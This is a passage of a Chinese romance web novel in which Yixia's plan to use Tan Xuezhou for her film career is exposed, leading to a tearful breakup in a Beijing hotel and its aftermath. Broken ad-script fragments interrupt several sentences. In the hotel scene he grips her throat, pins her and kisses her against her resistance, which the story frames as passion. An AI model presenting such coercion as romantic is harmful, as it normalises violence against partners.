【阿宜,你蓄意接近利用他,和我当初,说谎伤害你,有什么区别呢?】 【我们都变成了自己讨厌的人,我们才是一类人。】 宜夏紧紧攥住手机,咬紧牙关,把对方的号码拉黑进入了黑名单。 做完这一切,她大汗淋漓,仿佛刚从水里捞出来一般,按着胸口,不停地大口深呼吸。 她知道她现在应该,立刻,打电话去跟谈雪昼道歉,认错,请求他的原谅。 可是手脚四肢发软,她什么都做不了,只能怔怔瘫在轮船的塑料座椅上,盯着简陋的船篷。 ……是啊。 其实。 你说谎,你利用他,你就是自己最讨厌的那种人。 你又有什么资格跟他道歉,请求他的原谅呢? 你本来。 就配不上他。 就不该跟他在一起。 第40章 - 助理小林从副驾驶回过头来:“谈总,我刚刚看了一下,江流那边暴雨,航班大多数都延误停飞了。您看我要不要帮您先定去附近城市的机票,走高速回去?还是等气候条件好转之后再出发,现在先送您回酒店?” 谈雪昼坐在车后座。 沉默许久,他低声说:“先去酒店。” “好的,我会随时关注航班动态的。” “不用急。”他声音轻飘飘的,“先推迟吧,我在这里休息两天。” 助理不解地回头看他。 不过什么也没有问。 到酒店。 谈雪昼简单洗漱之后就躺下了,可是眼睛一闭,脑子昏沉沉,不自觉回响起刚刚于思程播放的那一段录音。 ——“我知道你是因为被思程封杀,所以想接近谈雪昼,借他的人脉借他的势力再回到电影圈。我知道你是因为恨思程伤害了你,想报复思程,才想利用谈雪昼,破坏思程和他的相亲,这些我都知道,宜夏,你的目的太容易看清了。” “那又怎么样呢?” 那又怎么样呢? 那又怎么样呢? 录音里,她没有否认,只是镇定地反问。 那又怎么样呢? 谈雪昼忽然想起那天不小心点开她的电脑,看见的那个文件。 《攻略TXZ作战计划3.0》 攻略。 计划。 她是在攻略他,利用他,为了电影,为了报复。 要说谈雪昼对这一切毫无察觉,那是不可能的。 从她开始有意接近的第一天起,他就知道她心怀其他目的。但他一直没有点破。 他不是那种拖泥带水会跟人玩暧昧的人,只是,一眼看透了她别有用心,却一直无法拒绝她主动的靠近。 那天被困在崇榆岛的房间里,她眼眶通红,声音颤抖,鼓起勇气说,许愿条上的那个人是他——他立刻相信了。 他毫不怀疑。 他那时候,想的是,不管最开始她有什么目的,有什么用心,要利用他做什么,他都可以原谅,可以不介意。 只要她有一点真心。 一点就好。 攻略也好。 计划也好。 报复也好。 都无所谓。 都能原谅。 谈雪昼又有一瞬间替自己觉得悲哀。 他光着脚下床,踩在地毯上拉开窗帘。 窗外是稀疏的几点灯光,北京的夜空清冷凛冽,亮晶晶的星子凝固在空中,就好像一场冷冻的大雨。 他在飘窗坐下,忽然想起第一次见到宜夏的时候。 那时候她还很小。 他也很小。 他枯坐在不见天日的黑暗里。她带着满身浓烈的绿意,闯进他的生命里。 宜夏好像笃定他根本不会生气,所以才能那么镇定坦荡毫无畏惧地反问,“那又怎么样?” 利用了又怎么样? 欺骗了又怎么样? 他根本不会怪她。 宜夏,你早就知道这一点。 也许在我们第一次见面的时候,你就应该看出来了。 没关系。 骗我没关系,利用我也没关系。我可以不在乎。我可以给你想要的投资,我也可以被你利用报复你想报复的人,都可以。 我这个人一直只做自己想做的事。 种自己想种的花。 拍自己想拍的云。 你是我想种的花里,想了最久的那一朵。 想到我自己的叶子都已经凋谢了。 想到秋天到了,冬天到了,一年又一年过去了,你还对我一无所知,我却已经注视了你很久很久。 怎么办呢? - 宜夏以为自己已经做好了心理准备。 然而晚上入睡时,却无比困难。 一直到凌晨三点,都没能睡着,她起来从柜子里翻出褪黑素,干咽了两颗,再次平静地躺回床上。 还是没有任何睡意。 翻来覆去许久,她坐起来,没忍住,点开他的微信,盯着他那个可爱的玳瑁猫头像发呆。 然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而她不知道给他发什么信息。 不知道该怎么面对他。 他什么都知道了,但他没有联系她,没有给她打电话。 甚至一条微信都没有,聊天记录静止在了电影节颁奖典礼那天。 他应该生气。 应该打电话回来,质问她。 愤怒或者难过或者失望地跟她提出分手。 而不是这样平静,好像什么都没有发生。 越平静,宜夏越感觉空气稀薄。 肺里的氧气好像被真空抽离,她缩在床头,按着胸口呼吸困难。 她突然冲动地点开手机,点进订票的软件里,买了最近一趟从江流去北京的机票。 道歉,应该面对面,才有诚意。 ……要分手,也该面对面说清楚。 江流机场因为台风的缘故延误了许多航班,但宜夏那一班却没有延误,很顺畅地找到了一个安全的空隙滑行起飞。 起飞前,宜夏鼓起勇气,给谈雪昼留了一条微信。 【你还在北京吗?】 发出去之后,宜夏跟随机组人员的指示,把手机调成了飞行模式。 飞行的后半程,飞机进入北京上空。这座北方超一线城市空气冷冽,机舱温度下降,宜夏皮肤被冻起了一层浅浅的鸡皮疙瘩。她盯着行李架上的灯带发呆,开始在脑子里演练待会儿跟谈雪昼见了面,要说什么。 他什么都知道了。 所以,她说什么都是狡辩。 她只能道歉。 在真相没有曝光暴露之前,宜夏一直惴惴不安,忐忑得心神不宁,担心他的反应。可是现在一切已经走到了她最不希望的方向,她反而,没那么恐惧了。 她只是,想见到他,亲口说一句对不起而已。 然后就,和平分手吧。 想着想着,宜夏靠着舷窗,陷入了半梦半醒的睡眠之中。 梦里有一只漂亮的梅花鹿,眼睛湿漉漉的,悲伤地看着她。很快,转身跑进了丛林里,再也寻不见踪影。 醒来的时候,飞机已经要降落了。 客舱灯光调亮,空姐声音温柔地提醒大家调整座椅靠背、收起小桌板。宜夏却依然恍惚。 跟谈雪昼这一段不到五个月的相处,就像一个做得太美太温柔的梦。小鹿带来春天的消息,又在夏天的末尾离开。 一起过了一个夏天。 也是人生最珍贵的回忆了。 飞机降落,开始滑行。客舱喧哗起来,不少性急的旅客纷纷起身排队。 等飞机停稳,宜夏把飞行模式切回正常,手机上多了好几个未接来电。 盯着上面谈雪昼的名字,宜夏发了一秒的呆,接起电话。 两边都没有人出声,宜夏这边有些嘈杂,她以为自己没听见他的声音,沉默片刻后问:“你……刚刚开口说话了吗?” 谈雪昼直接问:“你现在在哪里?” 宜夏像做了错事一样,声音很轻:“在首都机场。我要下飞机了。” 谈雪昼沉默片刻:“我找人来送你去酒店。” 宜夏愣了下:“你已经不在北京了?” “我现在,人在江流。”谈雪昼声音压着火,“你去北京干什么?找我?不会提前给我打电话吗?” 宜夏默了一秒,眼眶一热:“对不起。我没想那么多。……你怎么会回江流,不是有台风飞机不能起飞吗?” 谈雪昼没回答她,很快说:“出了机场就在那里等着。马上会有人来接你。”顿了下,他又问,“你带长外套了没有?北京晚上天气冷。” 宜夏吸了下鼻子,声音有些发抖:“我知道了……对不起,给你添麻烦了。” “宜夏你……” 宜夏情绪突然有些崩溃:“对不起,真的对不起……”她迅速擦掉涌出的眼泪,勉强说,“我要下机了,我先挂了。……对不起,我下次不会了。” 宜夏全机舱最后一个下机。 几个空姐拎着箱子跟在她身后,一个空姐见她满脸泪水,上前几步给她递了一张纸巾,温柔问:“小姐,你怎么了?” 宜夏接过纸巾擦掉眼泪,对上空姐关切的眼神,她眼中迅速积蓄起了泪水。她别过脸,说:“我没事。” 空姐说:“没关系的,遇见什么挫折,都会过去的。” 可是宜夏心里想,过不去…… 过不去的,是我做错了事。 宜夏从接机口出去,在机场外面,给谈雪昼发信息。 【不用找人来接我,我自己打车去酒店】 【不用担心我。】 消息发出去,她点进了打车软件。 晚上并不是高峰期,很快就打到了车,在等候区准备上车时,宜夏才后知后觉地感觉到北京不同于江流的温度。她穿的是一件藏蓝色的长裙,肩膀手臂都裸露在外,夜风一吹,冷得发抖。 网约车司机的电话还没进来,谈雪昼的电话再次打进来了。 那边声音嘈杂,谈雪昼的声线却明晰干净:“那你进酒店之后,给我发个消息,再给我发个定位。” “嗯。” “你去北京干什么?” 宜夏不明白自己此时此刻怎么还能跟他维持正常的情绪和沟通。 明明,已经做好了面对面讲分手的准备。 她轻声说:“不做什么,就是……有话跟你说。” “有话可以电话里说。” “不行。”宜夏沉默片刻,“有很重要的事,要当面说。” 那边安静片刻,漫不经心问:“什么重要的事?” 宜夏忍住强烈的鼻酸,深呼吸,一字一句说:“我们分手吧。” 沉默。 “宜夏。”谈雪昼声音严肃冷淡,“不要开这种玩笑。” 宜夏靠着挡风的大柱子站着,声音很低:“谈雪昼,你应该已经知道我主动接近你的原因了吧?” 她顿了下,很慢很慢,很费力地说:“就是你知道的那样。我是因为之前——” 那边突然打断:“我不想知道。” “——对不起,都是我的问题,是我这个人有问题,我不敢请求你原谅我,我也……” 谈雪昼直接换了话题:“你打到车了没有?” 宜夏愣了下:“打到了。” “宜夏,你刚刚的话我可以当做没有听见。你现在坐上车,去酒店,洗个热水澡,睡一觉,有什么事明天起来再说。”那边顿了下,声音放轻,“还有,别哭。” “谈——” 电话挂了。 宜夏怔怔盯着上面显示的通话时间,眼眶迅速红了。 48. 春日 宜夏按照谈雪昼说的那样,找了家酒店,给他发了定位过去。 她洗了个热水澡,泡了很久,大脑依然恍恍惚惚的。 她从清塘赶到江流,又飞了好几个小时到北京,中间没有吃什么东西,这会儿终于意识到饿了。然而夜已经很深了,外卖也没有营业的,只有酒店附近有家24小时营业的便利店里有卖关东煮和饭团。 她穿好衣服,带上房卡下楼。 坐电梯到一楼,走进酒店大堂,宜夏一眼看见一道穿着黑色冲锋衣的身影。 她愣了下。 他转过头,两人四目相对,宜夏看见他微微沾湿的发丝和有些疲惫的眉眼,脚就好像被钉在了原地。 谈雪昼走过来,声音沉沉:“你下来干什么?” “去便利店。” “飞机上没吃东西?” “嗯。” “那走吧。我也没吃。” 他转身往外走,宜夏下意识跟上,但离他有一两步的距离,没有并肩走在他旁边。 进了便利店,宜夏要了一个饭团加热,谈雪昼挑了一只面包。 带着吃的坐到便利店窗边的座椅上,两个人面对面坐着,宜夏低下头,很耐心地啃饭团,没有吭声。耳朵竖着,听见谈雪昼撕开面包袋子的声响,余光也能瞥见他修长分明如同玉竹的手指。 一直啃完一个饭团,都没人开腔。 沉默。 宜夏心里煎熬,可是不知道说什么好,只好努力自然地问:“你怎么过来的?今天不是没有航班了吗?” 谈雪昼冷淡说:“飞过来的。” 语气里似乎藏着很多火气。 宜夏垂下眼,不敢说话了。 吃完东西,两个人一前一后回酒店。 谈雪昼去前台开房间,转过头,冷淡问宜夏:“你房号?” 宜夏低声报了个数字。 谈雪昼跟前台说要她隔壁,但隔壁已经被定了,对门也被定了。最后只能定同一层隔得比较远的一间。 宜夏全程没再说话,默默看他办完这些,不可自抑地想起,第一次见的时候,他要住进民宿,她要登记身份证,他却格外傲慢,三番四次为难不让她看。 那次见面,细节竟然鲜明到栩栩如生,如在眼前。 宜夏眼眶热了起来。 上楼之后,宜夏把他送到了他的房间门口,低着头打算告别。 手腕突然传来一股大力,她低低一声惊呼。 谈雪昼扯住她的手腕,粗暴把她拽进了房间里。 他动作很用力,捏着她的手很紧。 一整夜他压抑着的怒火第一次具象化。 宜夏跌跌撞撞进门,不敢挣扎,手腕被捏得隐隐作痛。天旋地转之间,被他按在了门板上,肩胛骨抵住冰冷的房门,冻得她一个哆嗦。 房间没来得及插卡取电,室内一片昏暗,只剩房门缝隙透出室外走廊的一线冷光。昏暗中,宜夏感觉到脖颈被他掐住,下巴被迫仰起,对上他居高临下的冰冷瞳孔。许多涌动的晦暗情绪在其中翻滚席卷,宜夏战栗地出声:“谈……我们……” “谈什么?”他欺身压下来,声音含在喉头,很低,“分手?” 宜夏强忍住逼到鼻尖的酸意,身体却因为他粗暴的动作而发着抖,她努力说:“我们……不是,你先开灯。好不好?” “不用。”谈雪昼压抑着怒意,“你担心我突然犯病吗?是真的担心我,还是,装的?” 宜夏心一恸,别过脸。 后脑抵着冰冷的门板,被迫高高仰着头。肩膀被他钉在门板上,两条腿也被紧紧抵住,整个人无法动弹,是一种有些屈辱粗暴的姿势。 宜夏努力维持着镇定:“你……先松开我,行不行?” “不行。” “你不要这样……我……” 他突然笑了下,掐着她的下巴,低声问:“不要哪样?不要这样?”手指在她脆弱的脖颈处摩挲一阵,紧接着低声问,“还是这样?” 手指从脖颈下滑,用力摩挲了一下她的锁骨。冰冷的手指让宜夏有些战栗,也因为他暧昧轻佻的动作而格外紧张,她声音染上了不安:“你能不能松开,我们好好谈一下……” “谈什么?”谈雪昼掰过她的下巴,突然低下头粗暴地咬在了她的唇瓣上。亲的动作很凶猛,和平时的温柔大相径庭。 然而他的唇瓣是冰,这个吻没有情||色和欲||望的意味,带着灼人的怒意,令人战栗。 宜夏头皮发麻,不停推他,他的手臂却越收越紧,直到紧紧地牢牢地把她箍在怀里,根本无法动弹。而他的脸孔压下来,含住她的唇瓣用力吮吸,几乎要把她肺里的氧气全都舔舐干净。 宜夏一阵火辣辣的缺氧晕眩,忍住即将夺眶而出的眼泪,用力咬在了他的唇瓣上,唇齿之间溢出血珠,血腥味很快涌了出来。 然而他还是没有松开她,反而箍得更紧,紧到她几乎喘不上气了。 宜夏眼泪终于下来了,顺着脸颊向下流,流到他手指上。 他动作一顿,扼住她脖颈的手缓缓撤开,回身把房卡插进开关取电。 房间走廊徐徐亮起米色的冷光,宜夏还靠在门板上,怔怔伸手挡在眼前,回避突如其来的光线。 谈雪昼背对着她,沉默片刻。 宜夏能听见他沉重的呼吸声。 他终于出声,冷淡说:“刚刚是我情绪失控,对不起。你先回去吧。” 他依然背对着她。 宜夏突然意识到了什么,心中一悸,跌跌撞撞地奔到他身后,试探着拉住他的手:“你刚才是不是……” 仅仅片刻的失去光线,他的手掌已经冰凉一片,仿佛一块沉重的雪。 但他情况没有前两次强烈的发作那么严重,面无表情缓慢抽回手:“我没事。” 宜夏颓然垂下手,两只手藏到背后,手指蜷缩起来。 刚刚在电话里鼓起的勇气,这会儿已经泄了干净。 心脏好像一抽一抽地疼着,她不知所措,张了张口,轻声问:“你是不是,什么都知道了?” “你觉得我该知道什么?” 宜夏默然片刻,艰涩地说:“其实我……我是因为,在电影圈得罪了人被封杀,想借你的能量回到电影圈,才主动接近你的。我撞见你和于思程相亲……于思程就是我得罪过的人,她家里有势力,她要封杀我,我非常讨厌她,想要破坏她跟你的关系,所以蓄意接近你,利用你来报复她。我就是这样的人。” 他扯了下唇角,淡淡笑了下:“然后呢?” “……对不起。” “以前在我面前装,为什么现在突然不装了?因为我知道真相了,所以索性不演了?” 说着他欺身凑到她面前,声音压低,冷淡轻佻。 冰冷的手指按在她光||裸的皮肤上,存在感格外鲜明。手掌收紧,宜夏被他拉到胸前怀里,两人身体紧贴在一起,宜夏甚至能感觉到他胸口强烈的震动。 宜夏浑身僵硬,不敢动弹。他的手指在她喉管处轻轻滑动,声音依然很低沉:“说话。突然良心发现了?突然来找我坦白?” “不是的……”宜夏皮肤上已经起了一层鸡皮疙瘩,她努力呼吸,带着泪意,“我只是……觉得,我做错了……” “然后呢?”他的声音很温柔,甚至比平时更柔软。 “我想我不能再错下去了……我们,正好,也才刚开始谈嘛,恋爱没有谈谈多久,所以,分手的话,也不会有多深厚的感情。我不想,一直错下去,一直欺骗你……所以,对不起……” 谈雪昼一低眼,就能看见她泪水满溢的杏眼,泪水积蓄在眼眶里,些微高光微弱地颤抖着,很可怜很难过的模样。 可是她的话分明不是那么回事。 因为谈恋爱没有多久,所以分手也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不会难过。 一副柔弱的样子。 却能说这种话。 谈雪昼勾了下唇:“宜夏,我就想知道一件事。” 宜夏呼吸都忘却,一滴泪水从眼角溢出。 “你有心吗?” 宜夏无法辩驳,脸色惨白。 谈雪昼紧紧扣着她后颈的手指缓缓松开。 宜夏仰着脸,怔怔看着他。 对视片刻,他竟然笑了,轻飘飘说:“你知不知道,我也是个人?我是个活生生的人,不是游戏里可以随便攻略的NPC,不是你随手可以利用的工具,不是做一个任务好感度就能上涨的游戏角色,我是人,我也有心。” “真相没揭露的时候,装成那种单纯的样子,瞒不住了,就说不想一直错下去,干脆地说分手。宜夏,你到底把我当成什么?你对我有过一点,哪怕一点尊重吗?” 宜夏只能徒劳地摇头,眼泪大滴地往下落:“对不起……对不起……我知道我做的很不对,也不敢求你原谅,我——” “——你现在流的眼泪,到底是真心的,还是装出来的?” “我不是——” “宜夏,你对我,有过,哪怕一点真心吗?” 宜夏徒劳张口,却一句话都说不出。 对上谈雪昼漆黑的眼睛,对上那双眼睛翻滚涌动的情绪,宜夏彻底僵在原地,心脏像被人一捏一捏地揉搓成了乱七八糟的一团,她突然失了声,只知道拼命摇头。 谈雪昼倾身过来,脸颊凑得很近,按着她的肩膀,漫不经心说:“只要你说有,我可以不计较你犯的错误,怎么样?” 宜夏咬住唇瓣,艰难张了张口。 “说话啊,”谈雪昼眉眼被浓郁的阴翳掩盖,声音变得阴郁低沉,有些讽刺,“不是很会说谎吗?怎么现在一个字都说不出来了?骗我一下都不愿意?” 宜夏呼吸困难,声音艰涩:“对不起……” “我不想听见对不起。” “是我的错……”宜夏哽咽说,“我本来,就是一个很不好的人,我不想继续伤害你,我——” 谈雪昼看着她满脸通红,脸颊上泪痕交错,突然感觉一切都很索然无味。 她宁愿一直说对不起,也不愿意承认有过真心。他却还一直纠缠逼问,连尊严都不要了。何必呢?何必强求呢? 他闭了下眼,安静片刻,收拾好了情绪,走到玄关处抽出取电卡。 宜夏呆在原地,因为眼前骤然袭来的黑暗有一瞬间晕眩,怔怔看向谈雪昼。 谈雪昼垂着头,拉开房门。走廊外的光明涌入,黑暗里的宜夏看不清门口他的神情,只能看见他逆着光的轮廓,意兴阑珊的肢体语言。 他没回头,只是回到了平常说话那种温柔的状态,轻声说:“我去退房了。” “你……你今晚不住这里吗?” 他声音甚至带上了清浅的笑意,漫不经心说:“你不是,迫不及待来找我分手的吗?现在已经结束了,我留下来干什么?” 成功了…… 分手。 宜夏心中巨痛,死死咬住嘴唇,却没能忍住决堤的泪水。 她拼命睁着眼睛,忍受着眼前一片模糊,只想把他的身影看得更清楚。 短短几秒,却好像慢镜头一样,不断拉长。 砰的一声。 房门在眼前合上。 宜夏彻底坠入了黑暗之中。 她失去力气,手脚发软,不住地往下滑,最终只能蹲在地上,大睁着眼睛。她意识不到眼泪,只是怔怔地望着那扇合上的门,在心里轻轻地说。 再见。 对不起。 我其实,很喜欢你。 但是,我的喜欢配不上你。 你以后,不要被我这样的人欺骗了,也不要再受到伤害了。 你要一直活得肆意张扬灿烂,拥有一整个世界的璀璨美丽。 49. 想把你比作春日 第42章 夜风凛冽,站在深夜的街头,谈雪昼第一次感觉到不知何去何从的茫然,以及沉重的挫败感。 深重的露水侵蚀了衣角,他随便找了个方向,漫无目的地走。 口袋里的手机震动起来。 他接起电话,对面声响嘈杂,一道年轻男人的声音清晰明确:“你怎么突然又要回北京?” 谈雪昼握着手机往前走,跟着人流一走过一道红绿灯,漫不经心说:“有事要办。” “什么事儿啊?还这么着急,要借航线连夜飞过来?” 谈雪昼沉默片刻,轻飘飘说:“被人甩了,找人复合。” 对面是一阵喷水的声响,紧接着几个杯子丁零当啷接连响成一片,对面的人手忙脚乱扶正杯子,随后站起来,快走几步,脱离了刚刚那嘈杂的环境,才震惊地问:“什么情况?我前段时间听徐皑说你不是相亲呢吗?” 谈雪昼散漫地“嗯”了一声。 “就是跟你相亲那个女孩儿?叫什么来着?家里是干传媒的是吧?” “不是她。” “你现在在哪儿呢?不是,你半夜顶着台风飞回来跟人姑娘求复合啊?成功了没啊?” “成功了我还能在这里接你电话吗?” 对面愣了,好久才说:“雪,你到底什么情况?你现在在哪儿呢?” - 半小时后,谈雪昼推开会所顶楼包厢的门。 门内的陈设简单优雅,刚刚乱七八糟的人都已经离开了,只剩唯一一个懒洋洋没骨头一样瘫在沙发上的人。 见谈雪昼进来,应惟昭立刻坐直:“怎么回事?什么情况?” 谈雪昼没吭声,在他对面坐下,低头行云流水倒了杯杜松子酒。 应惟昭立刻压住他的酒杯:“别这样,别借酒浇愁啊,你记得自己过敏吗?” 谈雪昼往后靠,懒散抱臂,淡淡说:“想知道什么味道而已。” “你……你认真的?”应惟昭仔细凝视谈雪昼的脸孔,在上面读不出太多情绪,片刻后没忍住问,“到底什么情况?我都不知道你什么时候恋爱了,怎么就分手了?怎么就又求复合了?怎么对方还把你拒绝了?” “别多问。”谈雪昼没办法喝酒,在桌上一大堆饮料里翻出气泡水,勉强喝了一口,不说话只是凝视着包厢窗外深重的夜色。 巨大的落地窗,让窗外的璀璨灯火显得如在身前,无比庞大地逼近人眼。 应惟昭喝了口手边的酒,刚刚调笑的语气收敛,半晌认真问:“真受伤了?” 谈雪昼表情凉凉,冲他扯了下唇角。 应惟昭想了下。 怎么开解一个二十八岁才初恋,结果还被初恋甩了、求复合还被拒绝的老处男。 这是个严肃的问题。 只能从自己出发了。 应惟昭拿自己做例子:“其实恋爱分手,很正常,你看我当时跟……分手那么惨,现在不也挺好的吗?” “挺好的你怎么不再找一个?” 应惟昭:“……” 谈雪昼抱着手臂看着他,过了一会儿,若有所思问:“如果一个人,接近你、喜欢你,都是装的,都是为了其他目的,你会怎么样?” 应惟昭脸色变了,皮笑肉不笑:“怎么,知道兄弟哪里受伤,专门往那里戳呢?” “小昭。”谈雪昼坐直,“你当时,知道佟见溪是因为你家接近你的时候,你心里什么感觉?你难受吗?” 应惟昭:“……” 有些事可以拿出来说,有些事却不能提起。佟见溪对他来说就是一个逆鳞。 如果对面不是谈雪昼,而是其他人,应惟昭现在已经翻脸了。 谈雪昼淡淡笑了下:“我也遇见了这种事。” 应惟昭表情从吊儿郎当变得凝重,片刻后,放软了语气,低声问:“怎么回事?” “她……”话已经涌到喉头,却一阵梗塞,堵在咽喉,上不去也下不来。尝试两次,谈雪昼还是没能把话说出口,只是兴味索然地偏过头,“就是那样。” “我那时候跟……是上学啊。”应惟昭顿了下,“那你打算怎么办?这样了,你还找人复合?” “我可以不介意。”谈雪昼说,“毕竟真的找一个不图我什么东西的人,也找不到。但是她——” 她竟然,对他,从头到尾,一点喜欢都没有。 一点真心都没有。 一想到最后她不停的道歉,偏偏不肯承认一句真心,他心里就堵得很难受。胸口好像被什么东西塞满了,酸涩鼓胀,偏偏又没有爆裂的契机,只能梗在心口。 难以言明的挫败失落。 心好像空了,又好像被胀满。 一时之间,竟然无所适从,陷入惘然。 应惟昭起身叫外面的服务员上没有酒精的气泡酒上来。 回身时,谈雪昼依然懒懒散散靠在椅背上,面无表情,耷拉着眼皮,情绪很淡。 应惟昭拍拍他肩膀:“算了。实在不痛快,你就,去报复她。” “你当初报复了佟见溪吗?” 应惟昭真的翻脸了:“不要再提她了。” “你当初,还让我们一起帮你追她,大半夜跑出去陪她放烟花,给她送小狗讨好她。被她耍得团团转,像条狗。” 应惟昭:“你是不是想死?” 谈雪昼挡住眼睛,低声喃喃:“我也好像一条狗啊。” - 宜夏不知道蹲了多久,腿脚酸麻,终于站了起来。 接近游魂一般飘回了自己的房间,把自己蒙进被子里蒙头大睡。很奇怪的,平时,她很容易失眠,可今天她却很容易入睡,一直到第二天下午,才被酒店的服务人员叫醒,半梦半醒之间办了续房,继续睡觉。 也许这是身体的自我保护机制,只要一直昏睡,就不会胡思乱想,不会再想谈雪昼的事情了。 再醒来,已经是晚上了。 窗外灯火璀璨,宜夏抱着膝盖坐在床上怔怔地看了一会儿,才行尸走肉地下床洗漱,收拾东西,准备退房。 然而推开酒店门的那一刻,她表情僵住,突然想起,她现在是在北京。 离开了酒店又去哪儿呢? 低头看了眼机票,前后几天都没有回江流的票。 她搁下箱子,坐回床上,慢吞吞地脱掉外套,低下头,把脸埋在膝盖上发呆。 她什么都不想做,浑身的精力好像被抽干了,只剩一具躯壳。 明明,跟舒润分手的时候,并没有这么痛苦。或者说那时候的痛苦,更多是他背刺,他粉丝的网暴带来的,而不是从心底就破了一个洞,空荡荡的,无法修补。 宜夏在心里跟自己说,不能一直沮丧下去。 明天又是新的一天。 要振作起来。 那今天……再颓废半天吧。 她再次躺回床上,睡得昏天黑地,直到被一个电话唤醒。 是来自江流的座机号码,她接起来,声音虚软:“你好?” “喂?你好,请问是宜夏导演吗?我们这边是江流电影旅游基金。” 宜夏一怔,从床上坐起来。 “很高兴通知你,你的申请通过了基金的初审,下个月要进行资格复审,我们已经把具体要求发到了你的邮箱里,请你做好准备,参加复审和现场路演。” 宜夏不记得自己回答了什么。 接下来的记忆很零碎。 她退房,坐上了回江流的飞机。 回到清塘岛已经是一天以后了。 到家推开房门,她深吸一口沁凉的空气,扶着玄关门口的柜子恍惚站定,竟然有种空茫的恍如隔日感。 一个柔软的小身体窜进她的怀里,她下意识接住,一低头,瑁妹热情地蹭着她的手掌,柔软亲昵地叫着。 看着瑁妹,宜夏眼神一柔。 她急匆匆给瑁妹做了一顿猫饭,蹲着看它津津有味地吃。 又给瑁妹撕了一根猫条。 小东西很好哄,一根猫条就能哄得它上蹿下跳,绕着人兴高采烈地团团转。 这么亲人的小猫,她怎么会觉得它长得不好看呢?小猫什么样都很好看,丑陋的是人心里的偏见。 宜夏陪猫玩了一会儿,只要一放空,她就开始发呆。 不知道什么时候起,这栋房子里到处都是谈雪昼的痕迹。 不动声色的,潜移默化的。 长着乱七八糟阴阳脸的小猫,阳光晒得暖暖的菱格兔毛地毯,坐进去就能把人包裹住的暖洋洋的云朵沙发,手工做的鹿角小台灯和清水养得很好的橙色月季花。 猫是他的。 兔毛地毯是他网购的。 云朵沙发上的鹿角抱枕是他在集市上逛到了非要买的。 鹿角小台灯的鹿角是他做木工磨好的,灯也是他改造的。 月季花是他养的。 他明明只在家里住了四个月。 为什么哪里都是他呢? 他给她的人生打了一个坏样,从此以后,关于家,关于温暖,关于爱,都是他的样子,再也不会有别人了。 宜夏抱着冻起了一层鸡皮疙瘩的手臂,静静仰着头看月亮。 她最喜欢的小说是《飘》。 斯嘉丽鼓舞了少女时期的她,让她度过那一段被孤立与霸凌的艰难时光。 如今,她再一次找到斯嘉丽,像斯嘉丽一样鼓励自己: 没关系。 没关系的,明天会是新的一天。 不管怎么样,明天会是新的一天。 - 回家第二天,宜夏开始从头到尾彻底搞卫生,根本停不下来。把家里所有边边角角都收拾了一遍,地板被拖得格外干净,苍蝇站在上面都要打滑劈叉。瑁妹跟在她身边进进出出,一会儿黏上来叫一声,一会儿踩着她的拖把不准她再动,要她陪它玩。 终于搞完卫生已经是下午五点多了。 她累得瘫倒在沙发上,迷瞪了两分钟,又坐起来,收拾客厅里所有他的东西。她不好碰那些东西,只能分门别类地收起来——外套,墨镜,书,铅笔,草稿纸…… 她找了个小箱子,把他的书和草稿纸装在一起。 低着头看了那些东西很久,她鬼使神差从一大摞手稿里抽出了一张,夹进手边的《罪与罚》最深处。 随后坐在沙发上,又开始发呆放空。 他还有那么多东西留在这里。 包括……包括瑁妹,他一定会回来取的。 难道他准备不要了吗? 如果他回来,她要说什么呢? 说什么,似乎都很奇怪。她一想到,他会用那种厌恶或者陌生的眼光看她,她的心脏就涩得生疼。 平时不觉得这个家,这栋房子这么大。 家里除了她,只有瑁妹走动时甩着尾巴摩擦的声响。 夜晚从没这么安静过,安静得让人觉得寂寞。 她不得不找一点声音来消磨难捱的夜晚。 搬来笔记本,搁在膝盖上,打算找部电影看。把榜单上的电影翻了个遍,她缩在沙发里,抱着毛绒绒的云朵抱枕,最终点开的却是谈雪昼第一部片子。 他拍的第一部是习作短片,四十分钟,不长,但是讲了一个很完整的故事:普通人男主角意外卷入一桩黑||帮事故,甚至差点被买凶杀害,侥幸逃脱之后发现自己其实是被黑||帮误认为是另一个人。男主角决心找到那个人以洗脱自己的冤屈,回到正常的生活,但却在路上遇见了更多的事故,卷入了更深的疑云…… 电影虽然悬念丛生剧情紧张一波三折,但不时还点缀着一些反差感极大、幽默感超强的笑料,看得人不时会心一笑,随后又立刻为主角的命运揪心。 叙事清晰流畅,场面调度复杂,整部电影根本不像初学者拍摄的习作。 但事实上,这是他在美国上学时用空余时间拍的,基本都是手持DV拍摄,演员都是业余的素人同学。而黑||帮混战则更离谱,是当地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的真黑||帮团伙友情出镜,片尾字幕他还直接写了感谢帮派的帮助。 他真的是个很有意思的人,跟三教九流什么样的人都能相处得很好,不会有人不喜欢他。 天才的光芒是遮挡不住的。他的天才,从第一部电影就展露无遗。 她之前对他的电影总是有偏见。她总觉得他那些票房大卖的电影没深度没艺术性,也没有现实关照。 可是很多时候,生活已经足够艰难了,为什么不能在漆黑的影厅里短暂地喘口气,只为了娱乐,只为了看英雄的故事,看刺激的剧情,经历一段现实中不可能经历的美好旅程呢? 通俗不意味着低俗,也不意味着跟高雅绝不相容。 可惜的是,不仅是国内国外,全球的电影圈,大多数电影人,很少有人真正关心身边的人,关心身边的故事。电影中充斥着三流导演蹩脚地自我表达的欲望,膨胀着导演幻想中的观众应该想要看到的东西,一旦发现观众不买账了,导演主创就会斥责观众没有审美、底线低下。 然而观众不吃导演们PUA的这一套,自然会用脚投票。 真正尊重观众的东西,观众是能有感触的。 从这个角度来说,宜夏敢说自己问心无愧。也知道,谈雪昼他也问心无愧。 他们其实才是一样的人,才是应该搭档的人。 可是意识到这点的时候,她已经知道不可能了。 电脑屏幕上的电影进行到了最后。 视频软件自动连播,直接跳到了下一个视频——是谈雪昼在《致命追杀》片场的花絮片段。 片场所有人鸦雀无声,谈雪昼抱着手臂,冷漠看着灯光下的女演员。 他不说话,女演员整个人紧张得快喘不上来气了,但又不知道究竟是哪里表现得不好,整个人都要被吓哭了。 突然,现场灯光一暗,工作人员推了一辆小推车出来,上面摆了一个巨大漂亮的三层生日蛋糕。 女演员这下是真被弄哭了,捂着脸呜呜地倒在旁边化妆师的怀里。 